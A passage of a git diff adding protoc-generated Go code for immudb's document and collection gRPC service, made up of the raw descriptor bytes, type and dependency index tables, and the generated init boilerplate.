0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, + 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, + 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, + 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, + 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x8a, 0x01, 0x0a, 0x0d, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x42, 0xba, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, + 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, + 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, + 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x85, 0x01, + 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, + 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, + 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, + 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, + 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, + 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +} + +var ( + file_documents_proto_rawDescOnce sync.Once + file_documents_proto_rawDescData = file_documents_proto_rawDesc +) + +func file_documents_proto_rawDescGZIP() []byte { + file_documents_proto_rawDescOnce.Do(func() { + file_documents_proto_rawDescData = protoimpl.X.CompressGZIP(file_documents_proto_rawDescData) + }) + return file_documents_proto_rawDescData +} + +var file_documents_proto_enumTypes = make([]protoimpl.EnumInfo, 2) +var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 29) +var file_documents_proto_goTypes = []interface{}{ + (FieldType)(0), // 0: immudb.model.FieldType + (ComparisonOperator)(0), // 1: immudb.model.ComparisonOperator + (*CollectionCreateRequest)(nil), // 2: immudb.model.CollectionCreateRequest + (*CollectionCreateResponse)(nil), // 3: immudb.model.CollectionCreateResponse + (*Collection)(nil), // 4: immudb.model.Collection + (*Field)(nil), // 5: immudb.model.Field + (*Index)(nil), // 6: immudb.model.Index + (*CollectionGetRequest)(nil), // 7: immudb.model.CollectionGetRequest + (*CollectionGetResponse)(nil), // 8: immudb.model.CollectionGetResponse + (*CollectionListRequest)(nil), // 9: immudb.model.CollectionListRequest + (*CollectionListResponse)(nil), // 10: immudb.model.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 11: immudb.model.CollectionDeleteRequest + (*CollectionDeleteResponse)(nil), // 12: immudb.model.CollectionDeleteResponse + (*CollectionUpdateRequest)(nil), // 13: immudb.model.CollectionUpdateRequest + (*CollectionUpdateResponse)(nil), // 14: immudb.model.CollectionUpdateResponse + (*DocumentInsertRequest)(nil), // 15: immudb.model.DocumentInsertRequest + (*DocumentInsertResponse)(nil), // 16: immudb.model.DocumentInsertResponse + (*DocumentInsertManyRequest)(nil), // 17: immudb.model.DocumentInsertManyRequest + (*DocumentInsertManyResponse)(nil), // 18: immudb.model.DocumentInsertManyResponse + (*DocumentUpdateRequest)(nil), // 19: immudb.model.DocumentUpdateRequest + (*DocumentUpdateResponse)(nil), // 20: immudb.model.DocumentUpdateResponse + (*DocumentSearchRequest)(nil), // 21: immudb.model.DocumentSearchRequest + (*Query)(nil), // 22: immudb.model.Query + (*QueryExpression)(nil), // 23: immudb.model.QueryExpression + (*FieldComparison)(nil), // 24: immudb.model.FieldComparison + (*DocumentSearchResponse)(nil), // 25: immudb.model.DocumentSearchResponse + (*DocumentAtRevision)(nil), // 26: immudb.model.DocumentAtRevision + (*DocumentAuditRequest)(nil), // 27: immudb.model.DocumentAuditRequest + (*DocumentAuditResponse)(nil), // 28: immudb.model.DocumentAuditResponse + (*DocumentProofRequest)(nil), // 29: immudb.model.DocumentProofRequest + (*DocumentProofResponse)(nil), // 30: immudb.model.DocumentProofResponse + (*_struct.Struct)(nil), // 31: google.protobuf.Struct + (*_struct.Value)(nil), // 32: google.protobuf.Value + (*schema.VerifiableTxV2)(nil), // 33: immudb.schema.VerifiableTxV2 +} +var file_documents_proto_depIdxs = []int32{ + 4, // 0: immudb.model.CollectionCreateRequest.collection:type_name -> immudb.model.Collection + 4, // 1: immudb.model.CollectionCreateResponse.collection:type_name -> immudb.model.Collection + 5, // 2: immudb.model.Collection.fields:type_name -> immudb.model.Field + 6, // 3: immudb.model.Collection.indexes:type_name -> immudb.model.Index + 0, // 4: immudb.model.Field.type:type_name -> immudb.model.FieldType + 4, // 5: immudb.model.CollectionGetResponse.collection:type_name -> immudb.model.Collection + 4, // 6: immudb.model.CollectionListResponse.collections:type_name -> immudb.model.Collection + 4, // 7: immudb.model.CollectionUpdateRequest.collection:type_name -> immudb.model.Collection + 31, // 8: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 31, // 9: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct + 22, // 10: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query + 31, // 11: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 26, // 12: immudb.model.DocumentUpdateResponse.revision:type_name -> immudb.model.DocumentAtRevision + 22, // 13: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query + 23, // 14: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression + 24, // 15: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison + 1, // 16: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator + 32, // 17: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 26, // 18: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 31, // 19: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 26, // 20: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 33, // 21: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 2, // 22: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest + 7, // 23: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest + 9, // 24: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest + 11, // 25: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest + 13, // 26: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest + 15, // 27: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest + 17, // 28: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest + 19, // 29: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest + 21, // 30: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest + 27, // 31: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest + 29, // 32: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest + 3, // 33: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse + 8, // 34: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse + 10, // 35: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse + 12, // 36: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse + 14, // 37: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse + 16, // 38: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse + 18, // 39: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse + 20, // 40: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse + 25, // 41: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse + 28, // 42: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse + 30, // 43: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse + 33, // [33:44] is the sub-list for method output_type + 22, // [22:33] is the sub-list for method input_type + 22, // [22:22] is the sub-list for extension type_name + 22, // [22:22] is the sub-list for extension extendee + 0, // [0:22] is the sub-list for field type_name +} + +func init() { file_documents_proto_init() } +func file_documents_proto_init() { + if File_documents_proto != nil { + return + } + if !protoimpl.UnsafeEnabled { + file_documents_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionCreateRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionCreateResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Collection); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Field); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Index); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionGetRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionGetResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionDeleteRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionDeleteResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionUpdateRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionUpdateResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentInsertRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentInsertResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentInsertManyRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentInsertManyResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentUpdateRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentUpdateResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentSearchRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Query); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*QueryExpression); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*FieldComparison); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentSearchResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentAtRevision); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentAuditRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentAuditResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentProofRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentProofResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: file_documents_proto_rawDesc, + NumEnums: 2, + NumMessages: 29, + NumExtensions: 0, + NumServices: 1, + }, + GoTypes: file_documents_proto_goTypes, + DependencyIndexes: file_documents_proto_depIdxs, + EnumInfos: file_documents_proto_enumTypes, + MessageInfos: file_documents_proto_msgTypes, + }.Build() + File_documents_proto = out.File + file_documents_proto_rawDesc = nil + file_documents_proto_goTypes = nil + file_documents_proto_depIdxs = nil +} diff --git a/pkg/api/documentschema/documentschema.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go similarity index 99% rename from pkg/api/documentschema/documentschema.pb.gw.go rename to 